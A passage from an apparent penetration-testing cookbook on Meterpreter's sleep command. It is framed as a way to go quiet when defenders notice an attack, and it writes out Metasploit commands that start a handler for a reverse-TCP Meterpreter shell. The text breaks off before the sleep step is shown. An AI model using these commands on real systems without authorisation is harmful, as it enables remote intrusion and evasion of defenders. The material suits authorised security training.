Meterpreter sleep control
During a penetration test, there are sometimes when you need a Meterpreter session to go quiet for a while; for example, if you think the security team is on to you and is trying to stop your attack. For that reason, Meterpreter has a simple but very useful command called sleep.
How to do it...
- TheÂ
sleep command does exactly what you would expect; it makes the current Meterpreter session go to sleep for a specified period of time, and wake up again once that time has expired. So, let's put our session to sleep for10seconds. Before using thesleepcommand, we need to set up a handler, which listens for the new Meterpreter connection:Â
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.216.5 LHOST => 192.168.216.5 msf exploit(handler) > run -j [*] Exploit running as background job 0. [*] Started reverse TCP handler...